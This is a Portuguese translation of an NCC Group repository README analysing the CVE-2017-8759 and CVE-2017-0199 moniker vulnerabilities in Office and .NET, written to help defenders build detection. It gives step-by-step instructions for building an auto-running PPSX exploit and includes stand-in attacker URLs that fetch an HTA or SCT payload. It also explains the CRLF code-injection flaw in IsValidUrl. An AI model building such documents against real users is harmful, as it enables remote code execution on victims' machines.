nccgroup/cve-2017-8759Análise e exploração da CVE-2017-8759 pelo NCC Group, juntamente com refinamentos adicionais
Este repositório contém exemplos de exploração para CVE-2017-8759 para Microsoft PowerPoint, juntamente com uma descrição de como vulnerabilidades semelhantes foram e podem ser exploradas usando as mesmas técnicas.
O objetivo de publicar este repositório é destacar técnicas alternativas de exploração que os defensores podem atualmente desconhecer. Ao destacar essas técnicas alternativas, esperamos permitir que os defensores implementem deteção robusta e evitem falsos positivos (no caso de identificar erroneamente outras explorações de moniker como CVE-2017-0199) e falsos negativos (quando apenas as deteções de RTF são focadas).
Em abril, quando ouvi a notícia de que uma nova vulnerabilidade não corrigida estava a ser explorada na natureza, tentei recriar a exploração para que regras de deteção pudessem ser criadas antes da vulnerabilidade se tornar pública. No entanto, na altura, tudo o que tinha era a descrição da vulnerabilidade dos posts do blog da FireEye e da McAfee. Devido à falta de detalhes públicos, isso levou-me a acabar por explorar a vulnerabilidade usando (o que acabou por ser) um método completamente diferente do usado pela exploração "RTF URL Moniker" vista na natureza.
Cerca de um mês depois, Haifei Li destacou a segunda vulnerabilidade (também conhecida como "PPSX Script Moniker") na sua palestra no SyScan360, que ele tinha identificado e reportado em janeiro de 2017. Esta também foi corrigida sob a mesma correção CVE-2017-0199, mas foi explorada (tanto pelo autor, como mais tarde na natureza) usando o formato de ficheiro PPSX. Neste ponto, ainda não tenho conhecimento de ataques reais que tenham usado o bug do URL moniker via PPSX - no entanto, devido a ambos os bugs serem corrigidos sob o mesmo CVE, houve (e ainda há) alguma confusão em torno da deteção dessas explorações (mais sobre isto adiante).
Avançando rapidamente para setembro de 2017, a FireEye descobriu mais uma vulnerabilidade que estava a usar o formato RTF no Microsoft Word. Isso levou-me a revisitar a minha exploração anterior "PPSX URL Moniker" para investigar se o novo bug "SOAP moniker" também era explorável usando a mesma técnica PPSX.
Como mencionado acima, a vulnerabilidade anterior (CVE-2017-0199) era na verdade duas vulnerabilidades separadas, que foram corrigidas pela Microsoft sob o mesmo número CVE. A primeira (também conhecida como o bug "URL moniker") foi explorada usando RTF, no entanto a segunda (também conhecida como o bug "script moniker") usou uma técnica completamente diferente e foi explorada usando o formato OOXML, especificamente PPSX.
Como também mencionado anteriormente, a técnica OOXML não é específica da vulnerabilidade script moniker e pode ser usada para explorar as vulnerabilidades "URL moniker", "Script moniker" e a nova "SOAP moniker".
A exploração em OOXML é bastante direta e aproveita alguns truques para fazer com que o objeto vulnerável seja ativado automaticamente. Primeiro, abordarei a exploração do URL moniker e depois explicarei como pode ser atualizada para funcionar com os monikers script e soap (e potencialmente mais no futuro).
Primeiro, deve ser incorporado um link para um ficheiro (referido como StdOleLink, ou OLE2Link). Usei um link para um ficheiro PowerPoint na minha exploração - como mostrado abaixo. Isto é necessário mais tarde para ativar o moniker.
Depois de colocar o link, o caminho precisa ser modificado para conter a string do moniker. No caso do bug "URL moniker", isto é tão simples quanto adicionar um URL diretamente para um ficheiro HTA (ou seja, "http://attacker.com/evil.hta". Para a versão Script moniker, pode usar a string "script:https://attacker.com/evil.sct". O caminho do ficheiro para o objeto vinculado é armazenado na seguinte localização:
ppt\slides\_rels\slide1.xml.rels
Simplesmente alterar isto para uma string de moniker é suficiente para desencadear a vulnerabilidade quando o objeto vinculado é ativado. No entanto, isto não acontece automaticamente a menos que use outro truque.
Para ativar automaticamente o objeto, pode usar o que é chamado de "OLE Verb". Simplificando, isso faz com que o PowerPoint "ative" o objeto, chamando o método IMoniker::BindToObject(), resultando na eventual execução do seu código (dependendo do moniker, diferentes caminhos são seguidos após isso).
Para usar um OLE Verb, basta selecionar o objeto incorporado e ir para:
Animations -> Add Animation -> OLE Action Verbs -> Open
Assim que a animação OLE Verb for criada, pode selecionar "Start: with previous" para garantir que o objeto seja ativado assim que a apresentação de slides for iniciada.
Neste ponto, se optar por guardar o documento como PPTX e abri-lo, será apresentado um prompt para atualizar os links. Isto é indesejável num cenário de exploração.
Para contornar isso, pode simplesmente guardar o ficheiro como PPSX (apresentação de slides do PowerPoint). Isso fará com que a apresentação de slides seja iniciada automaticamente ao abrir (e assim desencadear o OLE Verb para executar o seu código).
Conforme descrito no post do blog da FireEye, a vulnerabilidade está na verdade no .NET framework e não no Office em si. Isto deve-se a um problema de injeção de código ao analisar um ficheiro WSDL contendo múltiplas definições de endereço. Se uma sequência CRLF for injetada, é possível adicionar código arbitrário ao ficheiro c# gerado, que é posteriormente compilado numa DLL e carregado pela aplicação Office.
O bug em si está presente no método IsValidUrl na classe WsdlParser de System.Runtime.Remoting. Antes da correção CVE-2017-8759, este método não verifica a existência de caracteres CRLF e simplesmente devolve a string não saneada (depois de garantir que a string está devidamente entre aspas), que é então escrita num ficheiro .cs para compilação pelo csc.exe. Isto significa que se um atacante passar um URL contendo \r\n, pode injetar código arbitrário no ficheiro C# gerado. A razão pela qual a injeção CRLF funciona é porque, normalmente, quando um ficheiro WSDL é analisado contendo múltiplas definições de endereço, o método PrintClientProxy tentará comentar as definições subsequentes, como mostrado abaixo.
IsValidUrl não corrigido:
PrintClientProxy:
O problema aqui é que IsValidUrl ainda é chamado no URL de endereço secundário antes de o anexar à linha comentada. Se um atacante adicionar caracteres CRLF numa segunda definição de endereço, quando o código é analisado por IsValidUrl, podem sair da linha comentada e injetar o seu próprio código C#.